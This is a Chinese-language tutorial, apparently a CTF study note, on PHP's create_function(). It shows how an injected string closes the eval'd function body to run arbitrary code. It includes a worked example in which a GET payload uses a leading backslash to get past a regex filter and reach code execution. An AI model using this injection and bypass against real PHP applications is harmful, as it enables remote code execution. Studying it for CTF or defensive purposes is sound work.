create_function()函数创建匿名函数的使用例子:
<?php
$fun = create_function('$a,$b','return $a+$b;');
echo $fun(1,2);
?>
- 预测结果就是答应一个3:
- 还原一下它的执行过程
eval(
"
function fun($a,$b){
return $a+$b;
}
"
);
- 这个过程就很明显了,要想执行其他函数,先从function中逃逸出来,直接构造:
;}phpinfo();//
即可逃逸出来
其他构造匿名函数的方法
<?php
$calc =function() use ($a,$b){
return $a+$b;
}
$calc(1,2);
?>
典例:
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
有上面的知识铺垫,那么这里不难想出使用create_funtion,构造payload:?action=\create_function&arg=;}phpinfo();//
,create_function
前面加上\
可以直接绕过这个正则,因为这个正则是由字母或数字开始匹配其他内容,所以前面加上一个\可以直接绕过这个正则,但是只能用\
其他的会无法找到该函数,具体原因如下。